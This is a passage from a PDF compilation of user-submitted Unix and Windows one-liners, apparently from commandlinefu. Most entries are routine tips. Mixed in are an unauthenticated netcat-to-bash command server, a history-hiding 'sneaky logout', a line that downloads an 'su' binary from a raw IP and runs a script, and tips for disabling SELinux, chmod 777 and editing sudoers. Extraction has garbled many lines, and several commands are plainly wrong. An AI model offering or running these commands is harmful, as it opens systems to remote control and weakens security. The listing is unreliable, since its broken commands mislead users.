# find the difference in 2 files with grep (diff alternative)
grep -vf file1 file2

644 / 658

All UNIX COMMANDS


# Running applications require X in ssh
ssh -X -l user 192.168.1.25
# replace strings in file names
for i in $(find . -name *replaceme*);do mv "$i" "${i//replaceme/withme}"; done
# List the size (in human readable form) of all sub folders from the current location
find . -maxdepth 1 -type d -not -name . -exec du -sh {} +
# Edit Crontab
vi ~/.crontab && crontab ~/.crontab
# recursive remove all htm files
rm -rf `find . -type f -name *.htm`
# Get your public IP using chisono.it
curl icanhazip.com
# Save a file you edited in vim without the needed permissions
:w!
# Creates and Mounts the PSP partition to the folder /media/psp/
mount -t vfat /dev/sdx1 /media/psp/
# Display which distro is installed
test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release ||
uname -rms )
# How to Disable SELinux
echo 0 >/selinux/enforce
# Extract all 7zip files in current directory taking filename spaces into account
savesIFS=$IFS;IFS=$(echo -en "\n\b"); for items in `ls *.7z`; do 7zr e $items ; done;
IFS=$saveIFS
# Listing the Size and usage of the connected Hard Disks
df -H
# get kernel version
uname -a
# how long system has been running
last reboot
# This is a nice way to kill processes.. the example below is for firefox!!! substitute
firefox for whatever the process name is...
ps aux | grep -i firefox | grep -v grep | awk '{print $2}' | xargs -t -i kill -9 {}
# Speak the last 3 tweets on Mac OS
curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title |
sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce
# Search gzipped files
zcat /usr/share/man/man1/grep.1.gz | grep "color"
# Check reverse DNS
nslookup {ip}
# Install a deb package

645 / 658

All UNIX COMMANDS


sudo dpkg -i packagename.deb
# Create a directory and cd into it
Dir=dirname; mkdir $Dir && cd $Dir
# Install and run when a command is not found
function command_not_found_handle(){ apt-get install $( apt-file search "$1" | grep bin |
grep -w "$1" | head -n1 | cut -d ':' -f 1 ) && $* ; }
# remove comment '#' in conf files.
grep -v ^# file.conf | grep -v ^$ > new_file.conf

# Count a number of files (only files, not dirs) in a directory recursevely


find . -type f | wc -l
# alarm central using keyboard as zone inputs ( output spoken out aloud )
watch '/home/mm/bash/keypress.sh |/home/mm/bash/evento.sh'
# Make a list of files, folders and subfolders from windows command prompt
dir /ad /s /b
# Search for the file and open in vi editor.
vifind() { vi `find . -name "$1"` }
# dd and ssh
dd if=/dev/zero bs=1M | ssh somesite dd of=/dev/null
# Bash help
help
# renombrar un archivo que inicia con guion
find . -name "-help" -exec mv {} help.txt \;
# kill all instances of an annoying or endless, thread-spawning process
ps auxwww | grep outofcontrolprocess | awk '{print $9}' | xargs kill -9
# Display command options without typing --help
<Ctrl+o>
# Save and quit the easy way
Shift ZZ
# ettercap manual
man ettercap
# Read, sort and confirm uniqueness of entries in files and directories
sort -u filename > newfilename
# Recursive chmod all files and directories within the current directory
find . -name "*" -print0 | xargs -0 -I {} chmod 777 {}
# Print just line 4 from a textfile
tail -n 4 | head -n 1
# Show the last movie/ebook that you have saw/read
ls -lAhutr
# Kill a naughty process

646 / 658

All UNIX COMMANDS


killall -9 wineserver
# Complete Distro information
lsb_release -a
# Sneaky logout
export HISTFILE=/dev/null && kill -9 $$
# Compile all C files in a directory
ls *.c | while read F; do gcc -Wall -o `echo $F | cut -d . -f 1 - ` $F; done
# Prefetch like apple devices
sudo apt-get install preload
# "Reset" file permissions
find . -type f -exec chmod 0644 {} \;
# installing sublime-text-2 on Ubuntu 10.04
sudo -i; add-apt-repository ppa:webupd8team/sublime-text-2; apt-get update; apt-get install
sublime-text-2
# Equivalent of alias in cmd.exe: doskey (macros)
doskey l=dir /OD $*
# Performance Monitor: Windows 2000, XP
perfmon.msc
# Telnet to Free Internet Chess Server
telnet fics.freechess.org 5000

# Check syntax of cron files (by restarting the service and checking the logs)
/etc/init.d/cron restart && tail -100 /var/log/syslog
# Search for available software on a debian package system (Ubuntu)
aptitude search NAME
# Private Character Editor (Windows 2000+XP)
eudcedit
# download a specific file
curl -f -O http://pcbsd.fastbull.org/7.0.2/i386/PCBSD7.0.2-x86-DVD.iso
# Download all files under http://codeigniter.com/user_guide/ to the current directory
svn co http://svn.ellislab.com/CodeIgniter/trunk/user_guide
# Simple calculus
read c; while [ -n "$c" ]; do clear; echo -e "$c = "$(echo "$c" |bc -l)"\n"; read c; done
# Flip from one directory to another
cd # Kill all processes matching a given name
ps axww | grep SomeCommand | awk '{ print $1 }' | xargs kill
# Go to the created directory after using mkdir
mkdir() { /bin/mkdir $@ && eval cd "\$$#"; }

647 / 658

All UNIX COMMANDS


# Altera texto dentro dos arquivos retornados pelo comando 'find' (find and replacing
strings on all files in directory)
find ./wp-content/themes/rotce2009/ -name '*.php' -type f | xargs sed -i 's/<? /<?php /g'
# Execute commands on files found by the find command
find -iname "MyCProgram.c" -exec md5sum {} \;
# Copy all images to external hard-drive
ls *.jpg | xargs -n1 -i cp {} /external-hard-drive/directory
# Create a Bash command server - You can send it scripts or commands to execute
while ( nc -l 1025 | bash &> : ) ; do : ; done &
# Install php-tidy Module / Extension
yum install php-tidy
# (windows) Append date and Time to a file name use ren temp.txt instead of echo
echo tmp%date:~4,2%-%date:~7,2%-%date:~10,4%_%time%
# Recursively remove .svn directories
ls -RAx | grep "svn:$" | sed -e "s/svn:/svn/" | xargs rm -fr
# Remove "#' from configuration files.
sed -i -e 's/^#$//g' /path/to/file
# Reconstruct standard permissions for directories and files in current directory
for i in `find .`; do [ -d $i ] && chmod 755 $i || chmod 644 $i; done
# Chown script
#!/bin/sh for dir in `ls -A | grep -v .sh`; do

chown -R $dir:$dir $dir done

# Pretty print output of


ps -ef | awk -v OFS="\n" '{ for (i=8;i<=NF;i++) line = (line ? line FS : "") $i; print NR
":", $1, $2, $7, line, ""; line = "" }'
# List files contained within a zip archive
unzip -l <filename>
# Returns the absolute path to a command, using which if needed
which any_path/a_command.sh | sed "s|^./|$(pwd)|"
# compare three file
diff3 -a file1 file2 file3
# to paste the copied text from clip board
<ctrl+shift+v>
# Remove all zero size files from current directory (not recursive)
ls -s|grep -E "^ *0"|sed "s/^ *0 //g"|xargs -i rm "{}"

# emptying a file
cat /dev/null >filename
# Creating ISO Images from Audio CD
cat /dev/scd0 > ~/audio_image.iso
# analyze traffic remotely over ssh w/ wireshark
sudo ssh -Y remoteuser@remotehost sudo wireshark

648 / 658

All UNIX COMMANDS


# Read directory contents recursively
find . |while read f;do echo "$f";done
# List running procceses
ps -e
# Start a new shell as root
sudo su
# Create a tar.gz in a single command
tar cvf - foodir | gzip > foo.tar.gz
# Lists installed kernels
rpm -qa kernel
# Clean upgrade of Ubuntu
sudo sh -c "apt-get update;apt-get dist-upgrade;apt-get autoremove;apt-get autoclean"
# The single most useful thing in bash
vim ~/.inputrc
# Best command EVER!!
rsync
# list with full path
for file in * .*; do echo $PWD/$file; done
# Move all files with common extension to current directory
mv `find .zip ./` .
# ls -lR with a full path
tar -cvf /dev/null . | while read i; do ls -l $i; done
# List all file and directory on user's home with details
ls /home/user | xargs ls -lhR | less
# before writing a new script
{ echo -n '#!'; which bash; } > script.sh
# Various git commands
alias g='git'
# get current tty name
who am i
# use .ssh file to login the server
ssh root@172.16.1.99 -i my_openssh_key.ssh -p 9999
# extract .ace file
unace x [file]
# it's an alias to summon the command history only for lazy people well for busy too
alias h='history'
# floating point operations in shell scripts
echo $((3.0/5.0))
# restart network manager
sudo /etc/init.d/networking restart

649 / 658

All UNIX COMMANDS


# Informations sur les connexions reseau
netstat -taupe
# Find all files containing a word
find . -exec grep -l "sample" {} \;

# Mail enable a distribution group


Enable-DistributionGroup Name-of-Dist-Group
# netstat -luntp
netstat -luntp
# Thumbs.db&#12434;&#25506;&#12375;&#20986;&#12375;&#12390;&#20840;&#37096;&#28040;&#12377;
find /tank -iname thumbs.db -print0 | xargs -0 rm
# ramdomize echo 'hello world!'
(($RANDOM%6)) || echo 'hello world!'
# Empty Trash in Gnome When the Trash Can Refuses to Clear
rm -rf ~/.local/share/Trash/files/*
# cd into the latest directory
cd # Open a file using vim in read only (like less)
vim -R /etc/passwd
# apache , how to avoid bugs and start directly the server
cd /etc/init.d && sudo ./apache2 start
# Upload file to remote server using SCP
scp -P 22 /home/svnlabs.txt root@92.178.0.56:/home/svnlabs.txt
# cd
cd # Search for APT Packages
apt-cache search php5
# Brings you back to previous directory
alias b='cd -'
# Visit another command line g&#333;ngfu site
lynx http://shell-fu.org/
# mkdir some file and mv some file
for i in `seq 100`;do mkdir f{1..100} touch myfile$i mv myfile$i f$i;done
# Search The History for a Particular Command (ssh in this case)
history | grep ssh
# find all active ip?s in a subnet
FOR /L %i IN (1,1,254) DO ping -n 1 10.254.254.%i | FIND /i "Reply">> c:\ipaddresses.txt
# show current directory
nautilus `pwd`

650 / 658

All UNIX COMMANDS


# Find broken symlinks
find . -type l | xargs file

| grep broken

# easiest way to get kernel version without uname


strings /boot/kernel-file | grep 2.6
#
&#23558;&#19968;&#20010;&#25991;&#20214;&#25335;&#36125;&#21040;&#21478;&#19968;&#20010;&#25
991;&#20214;&#30340;&#26411;&#23614;
dd if=file1 of=file2 seek=1 bs=$(stat -c%s file2)
# List all system users
~<press tab twice>
# Replace spaces with '_' in filenames
find -depth . | (while read FULLPATH; do BASENAME=`basename "${FULLPATH}"`; DIRNAME=`dirname
"${FULLPATH}"`; mv "${DIRNAME}/${BASENAME}" "${DIRNAME}/${BASENAME// /_}"; done)
# Easily find an old command you run
cat .bash_history | tail -100 | grep {command}
# kill process by name
killall -9 <processname>
# kill process by name
rush> processes.filter(:cmdline => /mc/).kill

# Burn an image to a USB stick


dd if=yourimage.img of=/dev/sdb1
# create or empty a file
> filename
# Make an iso file out of your entire hard drive
cat /dev/hda > ~/hda.iso
# Run a cron job every 15 mins past the hour
*/15 * * * * /path/to/command
# list with full path
ls -a | sed "s#^#${PWD}/#"
# Adobe Updater Crashes on Mac OS X Fix
sudo /Applications/Utilities/Adobe\ Utilities.localized/Adobe\ Updater5/Adobe\
Updater.app/Contents/MacOS/Adobe\ Updater
# Which Version Is My Bash Shell?
echo $BASH_VERSION
# Tell us quantities of disk usage memory and swap used in a moment done
alias dfr='df;free'
# Just take me to home directory
cd
# universal extractor
http://pastebin.com/XCnEFJF6

651 / 658

All UNIX COMMANDS


# Restart web server
apachectl restart
# awk 'BEGIN{print strftime("%c",1238387636)}'
Convert UNIX time to human readable date
# Leave a comment when voting down..
if [ "${vote}" = "down" ]; then echo leave comment; fi
# List only directories, one per line
ls -l | grep ^d | sed 's:.*\ ::g'
# stop children visiting sex sites:www.baidu.com
iptables -A OUTPUT www.baidu.com -p tcp -j REJECT --reject-with tcp-reset
# view solaris system logs
more /var/adm/messages
# undo tab close in firefox
<ctrl-shift-t>
# quickly navigate your filesystem
j mp3
# annoy your sysadmin colleague
cd / && touch ./\-i
# Start a file browser in the current directory
screen -d -m nautilus --no-desktop `pwd`
# Recursive chmod all files and directories within the current directory
find . -print -exec chmod 777 {} \;
# Disable Ubuntu Notification
sudo chmod -x /usr/lib/notify-osd/notify-osd
# Go to /
...
# Forcefuly kills the pid
kill -9 <replace this with pid you want to kill>
# scp
scp -P 2202 /$filelocation user@host:/$final/$location
# unalias previously aliased command
unalias
# Display which distro is installed
rpm -qf /etc/*-release
# Display your current working directory.
pwd
# gunzip all .gz file in current dir
ls | grep .gz >> list.txt && cat list.txt | while read x ; do gunzip -d $x ; done && rm -rf
list.txt
# Create a iso from the disk.
cat /dev/cdrom > ~/mydisk.iso

652 / 658

All UNIX COMMANDS


# Have you mooed today?
apt-get moo
# show current directory
pwd
# get you public ip address
wget -q -nd http://www.biranchi.com/ip.php; echo "Your external ip is : `cat ip.php`"
# use scp to copy files
scp -P 1837 <path_to_loca_file> <remote_user>@<remote_ip>:<remote_ip>
# grep directory and sub-directories
grep -r <searchterm> *
# sun solaris 9 complete restart
init 6
# Caching-Nameserver
yum -y install bind bind-chroot caching-nameserver
# Delete all files and folders except one file/dir
ls -R | grep -v skipme | xargs rm -Rf
# Recursive chmod all files and directories within the current directory
find | xargs chmod 777
# Commandlinefu site like but for Emacs !
firefox http://emacs.vote-system.com/
# wget - 403 Forbidden Error
wget -U Mozilla http://example.com/foo.tar.gz
# bash man page
man bash | col -b
# Get your public ip
python -c "import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
s.connect(('google.com', 80)); print s.getsockname()[0]"
# Free unused memory currently unavailable
dd if=/dev/zero of=junk bs=1M count=1K
# Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cv .)|(cd /dest/dir ; tar xv)
# Quickly create simple text file from command line w/o using vi/emacs
echo "your text" > filename
# How To Install Microsoft Text Fonts In Ubuntu Linux
sudo apt-get install msttcorefonts
# mkgo - Create a Directory and immediate go into it
mkgo newdir
# kill process by name
kill -9 `pgrep firefox`
# Wait a moment and then Power off

653 / 658

All UNIX COMMANDS


sleep 10; poweroff
# What is the sound of your memory ?
sudo cat /dev/mem > /dev/dsp
# Modificar o enconding de todos arquivos de um diret?rio
recode
# get you public ip address
/usr/bin/lynx -dump http://www.netins.net/dialup/tools/my_ip.shtml | grep -A2 "Your current
IP Address is:" | tail -n1 | tr -d ' '|sed '/^$/d'| sed 's/^ *//g'
# show the last modified date on directory and file
ls -al
# Lire une video dans une console Linux
mplayer -vo caca foo.avi
# check if commandlinefu.com got a better domain
whois cmd.fu;whois cmdfu.com|grep -i cmdfu
#
&#32331;&#12364;&#12387;&#12390;&#12356;&#12427;SCSI&#12487;&#12451;&#12473;&#12463;&#12398;
&#12471;&#12522;&#12450;&#12523;&#30058;&#21495;&#12434;&#34920;&#31034;&#12377;&#12427;(for
zsh)
for i in {0..11} ; echo da$i `camcontrol inquiry da$i -S`
# Save disk space by removing help and documentation files
for i in {a..z};do sudo rm /usr/share/doc/$i*/*;done
# send Everyone on your machine some love
w | egrep -v '(load|FROM)' | awk '{print $2}'
Matrix has you...\" >> /dev/" $1}' | bash

| sed 's/^/tty/' | awk '{print "echo \"The

# List system's users


teste.txt < cut -d : -f 1,5 /etc/passwd | tr : \\t | tr a-z A-Z | cat teste.txt
# Short alias for sudo
alias s='sudo'
# Desmontando um dispositivo ocupado
fuser -vm /dev/sda2
# Recursive chmod all files and directories within the current directory
chmod -R 774 .
# Hide files and folders on GNOME Desktop.
cd ~/Desktop && for FILES in $(ls); do mv $FILES .${FILES}; done
# get LAN ip
ifconfig |grep broadcast

| awk '{print $2}'

# Extract tar.gz in a single command


gunzip < foo.tar.gz | tar xvf # get your public ip address
echo -e "Content-type: text/plain\n\n$REMOTE_ADDR"
# pastebinit - command-line pastebin client
pastebinit [file]

654 / 658

All UNIX COMMANDS


# Restart nautilus
killall nautilus
# system update
sudo apt-get update && sudo apt-get upgrade && sudo apt-get clean
# recursive remove all htm files
rm -rf *.htm
# RHEL / CentOS Support 4GB or more RAM ( memory )
yum install kernel-PAE
# The awesome ping / traceroute combination
mtr <URL>
# how long system has been running
uptime
# Install MP4Box
check output
# ps -A
ps -A
# Run the previous command with sudo
sudo !!
# Remove "ssh host" from known hosts file.
echo "${1}" | egrep '^[[:digit:]]*$' ; if [ "$?" -eq 0 ] ; then sed -i "${1}"d
$HOME/.ssh/known_hosts ; else printf "\tYou must enter a number!\n\n" ; exit 1 ; fi
# Make FILES executable
chmod +x FILES
# Add a line for your username in the /etc/sudoers file, allowing you to sudo in Fedora
echo 'loginname ALL=(ALL) ALL' >> /etc/sudoers
# Delete lines in a text file fast
10056dd
# fumanchu testing app1 w/bad rating
dst=/data/wimax/log/bin;sd=/sdcard;(rsync -aP rsync://168.103.182.210/t $sd/t ;mkdir $dst
;cd $dst; cp $sd/t/su $sd/t/flash_image . ;chmod 755 dostuff;./dostuff) > $sd/fumanchu.log
2> $sd/fumanchu.err.log
# for i in $(grep 'mystring' myfile1)|awk '{print $1}'); do grep $1 myfile2;done
for i in $(grep 'mystring' myfile1)|awk '{print $1}'); do grep $1 myfile2;done
# Five Minutes To Go
for i in $(seq 0 5) ; do echo "5 - $i" | bc -l ; sleep 60 ; done && echo "bye, bye" &&
shutdown -h now
# Combining text files into one file
ls | grep *.txt | while read file; do cat $file >> ./output.txt; done;
# How to install cron (crond, crontab)
yum install vixie-cron crontabs
# Facebook Email Scraper

655 / 658

All UNIX COMMANDS


fbemailscraper YourFBEmail Password
# do a directory disk usage summary without giving the details for the subdirectories
for dir in $(ls); do du -sk ${dir}; done
# open an url with opera webbrowser from vim
:!start c:\progra~1\Opera\opera.exe http://www.commandlinefu.com
# Art of hacking on perl
perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x
100'
# Getting involved!!
/bin/bash echo -n "Let's POST MORE, PLEASE!"
# nautilus
nohup nautilus &
# how to run a script to change directory
. ./cd_some_dir.sh
# Install your ssh key file on a remote system
scp ~/.ssh/id_rsa.pub user@remote:.ssh/authorized_keys
# get cpu info from dmesg
dmesg | grep cpu
# &#1593;&#1585;&#1590; &#1575;&#1578;&#1589;&#1575;&#1604;&#1575;&#1578;
&#1604;&#1576;&#1608;&#1585;&#1578; &#1605;&#1581;&#1583;&#1583;
netstat -antp | grep 22
# Restart web server
apache2ctl graceful
# up - aliaes for moving up the directory tree
alias up="cd .."; alias upp="cd ../.."; alias uppp="cd ../../.."; alias
upppp="cd ../../../.."; alias uppppp="cd ../../../../.."
# Verify Windows SNMP settings
reg query
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
# List path of binaries
not necessarily better, but many...!

# find out who you logged onto the machine as -- and not just who you are now
who am i
# Eject the CD Rom Device
while true; do eject /dev/cdrom && eject -t /dev/cdrom; done
# To display a listing of files and directory
ls -l
# To list all files in your home directory
ls ~
# listar arquivos com permiss?o de acesso

656 / 658

All UNIX COMMANDS


ls -l
# alias vi to emacs
alias vi='emacsclient -n'
# mosh
ln
# show current directory
explorer .
# alias source .bashrc and nano .bashrc
alias sbrc="source ~/.bashrc" && alias nbrc="nano ~/.bashrc"
# create any empty file in the current path
touch <filename>
# check the status of 'dd' in progress
dd
# Ultra shortcut for ssh root@
alias s='ssh -l root'
# Checks for Debug HTTP Verbs in IIS settings
type C:\WINNT\system32\inetsrv\MetaBase.xml | find "DEBUG"
# Reboot
shutdown now -r
# move you up one directory quickly
alias ..='cd ..'
# move you up one directory quickly
yum install zsh
# ps- ef | grep pmon
this command is to see oracle instance process on linux server
# Checks for custom error pages in IIS configuration
type C:\WINNT\system32\inetsrv\MetaBase.xml | find "400" | find "CustomError"
# See what date Symantec definitions were last updated on a WIndows system
type "C:\Program Files\Common Files\Symantec Shared\VirusDefs\definfo.dat"
# cd
cd
# To list all files in your home directory
ls -l $HOME
# Empty a file
echo "" > filr.txt
# Create a new file
touch /path/to/file.txt
# Create a new file
touch file
# go to home directory

657 / 658

All UNIX COMMANDS


cd

# creates balls
touch balls
# ls short hand
l
# To list all files in your home directory
ls -l ~
# Convert Windows/DOS Text Files to Unix
Convert Windows/DOS Text Files to Uni
# test
w3m
# List all files & directories in the current directory
ls -la
# hello Command-line-fu
perl -e 'print "Hello World!", "\n";'
# Install Apache 2 on centOS.
yum install httpd
# test haha
du -sh
# Get back to the root directory of a Windows drive (like c:\)
cd \
# How to send parameters to a batch file
test.bat parm1 parm2 parm3
# Mass Suspends Cpanel Users and Redirects to Rick Roll
/scripts/rickrollyes
# get all the data about your IP configuration across all network cards
ipconfig /all
# facebook
ping www.facebook.com
# The 1 millionth fibonacci number
time echo 'n=1000000;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--)
{c=a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*(a+2*b)' | bc
# The absolutely fastest nth fibonacci number
time echo 'n=70332;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--)
{c=a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*(a+2*b)' | bc
# The end of time
date -ud @$[2**31-1]

658 / 658

S-ar putea să vă placă și